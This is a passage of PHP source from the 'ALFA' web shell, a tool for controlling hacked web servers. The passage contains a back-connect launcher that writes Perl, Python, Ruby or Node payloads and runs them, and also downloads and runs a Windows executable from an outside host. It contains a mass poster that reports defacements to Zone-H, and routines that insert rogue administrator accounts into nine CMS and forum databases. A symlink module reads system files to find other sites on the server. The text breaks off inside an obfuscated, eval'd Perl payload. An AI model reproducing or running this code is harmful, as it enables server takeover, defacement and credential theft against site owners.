    "; if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){ $lang = $_POST['alfa1']; $ip = $_POST['alfa2']; $port = $_POST['alfa3']; $arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip); $tmpdir = ALFA_TEMPDIR; $name = $tmpdir.'/'.$lang.uniqid().rand(1,99999); $allow = array('perl','ruby','python','node'); eval('$lan=$'.$lang.';'); if(in_array($lang,$allow)){ if(__write_file($name,__get_resource($lan))){ if(_alfa_can_runCommand(true,true)){ $os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':''; $out = alfaEx("$lang $name $arg $os"); if($out==''){$out="
    [ Finished...! ]
    ";} echo("
    {$out}
    "); } }else{ echo("
    [ Failed...! ]
    "); } } if($lang=='java'||$lang=='c'){ $code = __get_resource($lan); $out = nl2br(bcinit($lang, $code,'','')); echo("
    {$out}
    "); } if($lang=='bcwin'){ $alfa = new AlfaCURL(); $s = $alfa->Send('http://solevisible.com/bc/windows.exe'); $tmpdir = ALFA_TEMPDIR; $f = @fopen($tmpdir.'/bcwin.exe','w+'); @fwrite($f, $s); @fclose($f); $out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']); } if($lang=='php'){ echo "
    ";
    $code = __get_resource($lan);
    if($code!==false){
    $code = "\$target = \"".$arg."\";\n".$code;
    eval($code);
    echo("
    [ Finished...! ]
    "); } echo "
    "; } } echo "
    "; alfafooter(); } function alfazoneh(){ alfahead(); echo '
    '; if(!function_exists('curl_version')){ echo "
    PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK
    "; } $hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting'); $reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available'); echo '

    | Zone-H Mass Poster |





    '; if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){ ob_start(); $hacker = $_POST['alfa1']; $method = $_POST['alfa2']; $neden = $_POST['alfa3']; $site = $_POST['alfa4']; if(empty($hacker)){ die (__pre()."
    [+] YOU MUST FILL THE ATTACKER NAME [+]
    "); }elseif($method == "------------------------------------SELECT-------------------------------------"){ die(__pre()."
    [+] YOU MUST SELECT THE METHOD [+]
    "); }elseif($neden == "------------------------------------SELECT-------------------------------------"){ die(__pre()."
    [+] YOU MUST SELECT THE REASON [+]
    "); }elseif(empty($site)){ die(__pre()."
    [+] YOU MUST INTER THE SITES LIST [+]
    "); } $i = 0; $sites = explode("\n", $site); $alfa = new AlfaCURL(); while($i < count($sites)){ if(substr($sites[$i], 0, 4) != "http"){ $sites[$i] = "http://".$sites[$i]; } $alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden); ++$i; } echo __pre()."
    [+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]
    "; } echo "
    "; alfafooter(); } function alfapwchanger(){ alfahead(); echo '

    | Add New Admin |

    '; $vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11)); Alfa_Create_A_Tag('pwchanger',$vals); echo '

    '; if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){ echo __pre().'
    | WordPress |

    '.getConfigHtml('wp').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){ $localhost = $_POST['alfa3']; $database = $_POST['alfa4']; $username = $_POST['alfa5']; $password = $_POST['alfa6']; $admin = $_POST['alfa8']; $SQL = $_POST['alfa9']; $prefix = $_POST['alfa10']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn)); $sole = @mysqli_num_rows($solevisible); if ($sole == 1){ $solevis = @mysqli_fetch_assoc($solevisible); $res = $solevis['ID']; } $solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){ echo __pre().'
    | Joomla |

    '.getConfigHtml('joomla').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8'=> array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa3']; $database = $_POST['alfa4']; $username = $_POST['alfa5']; $password = $_POST['alfa6']; $admin = $_POST['alfa8']; $SQL = $_POST['alfa9']; $prefix = $_POST['alfa10']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn)); $sole =@mysqli_num_rows($solevisible); if ($sole == 1){ $solevis =@mysqli_fetch_assoc($solevisible); $res = $solevis['id']; } $solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){ echo __pre().'
    | vBulletin |

    '.getConfigHtml('vb').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa3']; $username = $_POST['alfa5']; $password = $_POST['alfa6']; $prefix = $_POST['alfa7']; $admin = $_POST['alfa8']; $SQL = $_POST['alfa9']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error()); $pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'"); $pw_col = @mysqli_num_rows($pw_col); $adm_perm = "16744444"; if($pw_col > 0){ $solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn)); } $solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn)); $sole = mysqli_num_rows($solevisible); if($sole == 1){ $solevis = mysqli_fetch_assoc($solevisible); $res = $solevis['userid']; } $solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){ echo __pre().'
    | phpBB |

    '.getConfigHtml('phpbb').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa3']; $username = $_POST['alfa4']; $password = $_POST['alfa6']; $admin = $_POST['alfa8']; $SQL = $_POST['alfa9']; $prefix = $_POST['alfa10']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $hash = md5('solevisible'); $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...'); } } } if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){ echo __pre().'
    | Whmcs |

    '.getConfigHtml('whmcs').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' =>'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa3']; $username = $_POST['alfa4']; $password = $_POST['alfa5']; $admin = $_POST['alfa8']; $SQL = $_POST['alfa9']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){ echo __pre().'
    | Mybb |

    '.getConfigHtml('mybb').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa3']; $username = $_POST['alfa4']; $password = $_POST['alfa5']; $admin = $_POST['alfa8']; $SQL = $_POST['alfa9']; $prefix = $_POST['alfa10']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){ echo __pre().'
    | PhpNuke |

    '.getConfigHtml('phpnuke').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), 'td8' => array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50') ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa3']; $username = $_POST['alfa4']; $password = $_POST['alfa5']; $admin = $_POST['alfa7']; $SQL = $_POST['alfa9']; $prefix = $_POST['alfa10']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $hash = md5($pwd); $solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){ echo __pre().'
    | Drupal |

    '.getConfigHtml('drupal').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true) ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa4']; $username = $_POST['alfa5']; $password =$_POST['alfa6']; $admin = $_POST['alfa8']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1"); $getDescuid = @mysqli_fetch_assoc($getDescuid); $getDescuid = $getDescuid['uid']; $getdescuid = $getDescuid++; $solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn)); $solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn)); $sole = mysqli_num_rows($solevisible); if ($sole == 1){ $solevis = mysqli_fetch_assoc($solevisible); $res = $solevis['uid']; } $solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){ echo __pre().'
    | SMF |

    '.getConfigHtml('smf').'

    '; $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'), 'td6' => array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'), 'td7' => array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true), ); create_table($table); echo '

    '; if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){ $localhost = $_POST['alfa2']; $database = $_POST['alfa3']; $username = $_POST['alfa5']; $password = $_POST['alfa6']; $prefix = $_POST['alfa7']; $admin = $_POST['alfa8']; $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn)); $setpwAlg = sha1(strtolower($admin) . 'solevisible'); $solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn)); if($solevisible){ __alert('Success... '.$admin.' is created...');} } } echo "
    "; alfafooter(); } function alfaMakePwd(){ if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){ return "/home/{user}/public_html/"; } $document = explode("/", $_SERVER["DOCUMENT_ROOT"]); $public = end($document); array_pop($document); array_pop($document); $path = implode("/", $document) . "/{user}/" . $public; return $path; } function alfaGetDomains($state = false){ $state = "named.conf"; $lines = array(); $lines = _alfa_file('/etc/named.conf'); if(!$lines){ $lines = @scandir("/etc/valiases/"); $state = "valiases"; if(!$lines){ $lines = @scandir("/var/named"); $state = "named"; if(!$lines && $state){ $lines = _alfa_file('/etc/passwd'); $state = "passwd"; } } } return array("lines" => $lines, "state" => $state); } function alfaCreateParentFolder(){ $parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__; if(!@is_dir($parent)){ @mkdir($parent, 0755, true); } } function alfasymlink(){ alfahead(); AlfaNum(9,10); alfaCreateParentFolder(); @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__); echo '

    | Symlink |

    | Symlink( php ) | | Symlink( perl ) | | Symlink( python ) | | File Symlink |

    '; if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){ $sympath = alfaMakePwd(); @mkdir('cgihaxor',0755); @chdir('cgihaxor'); alfacgihtaccess('cgi'); $perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/50Ye1PTSPyrLLFnEqV5VBBs2gKH4jmjciPoP5TrbLLbNpImuez2Zamf/X77SBqgoHOZId3N/t7vZcooirKUcZxy9OFicPr+A+r20A5dxIwz1Dj58v7blXcdTJaoMWv5qIsMQ21CtY6HyFJ4NlrlRQxkjNMs5TTlTb7MaRtxuuDumE+SftpPO2LR64wpJr0Oj3lCe6cZoQSFS3Ty8ewEXdKTTx1XnXQYX8IPXgkSTUKjrMA8ztJ2mqU0WHdcdd5xFbkwI0sUjqIsyYqu+cyTj9kzAiWW2SHxDEmUrpFjQuJ01Pa9fBEEE1yM4rQZZpxnE/UtzApCi7afLxDBbAwSPhvKJ5D027AT5AMpGk7iUdqOQGdaBEPQvjmn8WjM22GWEPWBxT9ou/UaKBsbjVmWUMQwQc9RnM5iFoew/4kulpMkTm/Qn0v0Ny2SjguC98xgTRNGV9oNlWeUJxo4GeIBwRw7hhuNYrF1jWDNpiGQHuCiwEu0AsdZgO/tNma+ZwPa8UA484+ZP4TNBOdo1RgI//trdCwAg4LyaZEiS8UDIPvDlUBe2/aR3/YUg3xOStqvNdV4aO3osFhpGkLwYA0HAIXov8ggcUEjblQAhjvOJtRdTRkt1m4+DZM4Goh4EYoAXpMCCOWRm+IJJQ6E7dBAz5+jJtHfZ+AHzChzf5PmMcuTmIPA8tdy+667ixrvPn9bGW/PT79+evf5cvDl/PzSWNsq5g8ANs9ypBCD2lKz+57FqWW4xq7+bjsggWZuIAcoKItN8A3lRWm0PeA6o+LlH4r3vjaiTqcOQKqwNR9GmwlpBLEvYgyVkX8Gj+dD5APDPcfouOIU0kQAcrKFVkKHXFDCaFzQYdc0HJCKSiddHYnn2kBHyPyOZ5hFRZzzNk5owS1jDtVDVI5hnBJEsgmOU8dxDNtsI3PMed52XROEoLZjmIhDllHeNQdhgtMb857QnnfSanlKaFoTGleCb9Hy7Ewh+IcP1KxrAzniGCIlmMosV6xzSC2HL7g43oes+ZWAYFNZT3R2PhDQ5UVPZxzJBsDpfk7IEPJfiRiaE/ldfDqe+fvwydKbqLZ+Va0bMwJrX5OApaeWbzZLb7P0FUQt1WTGQFaoY8FDfwqynEJ6E0+4ju0i816CmTbKigqnTDAj0FJ3NGIviJIMWoneKtaAI3hXSCV7IbR5N2FNKQcUBKQaTWtXASreB1J3zbKgonQXEurOueJ5cJfLDBdKm6c5+L/g4JccdsTGXiknQDmDB6rytqK21bCzuOBTnLgqVbJ5SgtWmfiOEE9b1tdaHtacXjOr5vKkzoeaW7RV48ONSQ9LXaQdHw8RImVRBDvyuJRdbqr25WnL6e0bva0Uq+JXcLVyzNi84qp2j1hMHfYC4QoIVrU1gg1lXU91EUDviiIrRLnSolXlFos2rAaArumbZcEMcXQzKrJpSpp6BlAjhh4f2h7CU57Jiqznm/9Zt188KGVbK+VbGUTsaeCySn6FHvRL0O0Frixu8NJ6iUkLal1jIe0/zCB+orEMMkCkyBIesVcRtN5cB6ecUcSh3uPaJOmTcpR8UK90xkFQSMLdn2jiOi+OfsD8hwwLVraBVm5QMvC1J606R1